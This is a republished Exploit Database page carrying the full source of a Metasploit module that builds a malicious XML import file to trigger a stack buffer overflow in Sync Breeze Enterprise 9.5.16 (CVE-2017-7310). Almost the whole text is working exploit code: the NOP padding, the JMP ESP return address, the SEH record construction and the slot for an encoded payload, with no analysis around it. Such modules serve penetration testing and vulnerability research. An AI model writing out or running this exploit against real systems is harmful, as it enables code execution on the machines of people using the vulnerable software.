Sync Breeze Enterprise 9.5.16 – ‘Import Command’ Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2018-01-24
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43875/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
  'Description' => %q(
  This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
  by using the import command option to import a specially crafted xml file.
  ),
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Daniel Teixeira'
  ],
  'References'=>
  [
  [ 'CVE', '2017-7310' ],
  [ 'EDB', '41773' ]
  ],
  'DefaultOptions'=>
  {
  'EXITFUNC' => 'seh',
  'DisablePayloadHandler' => 'true'
  },
  'Platform'=> 'win',
  'Payload' =>
  {
  'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
  'StackAdjustment' => -3500
  },
  'Targets' =>
  [
  ['Windows Universal', { 'Ret' => 0x10015FFE } ]
  ],
  'Privileged'=> false,
  'DisclosureDate'=> 'Mar 29 2017',
  'DefaultTarget' => 0))
  
  register_options(
  [
  OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
  ])
  end
  
  def exploit
  jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
  esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
  jmp = "\xFF\xE0" # JMP ESP
  
  buffer ="<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
  buffer << "\x90" * 1536
  buffer << jmpesp
  buffer << "\x90" * 18
  buffer << esp
  buffer << jmp
  buffer << "\x90" * 68
  buffer << generate_seh_record(target.ret)
  buffer << "\x90" * 10
  buffer << payload.encoded
  buffer << "\x90" * 5000
  buffer << "\n</classify>"
  
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(buffer)
  end
  end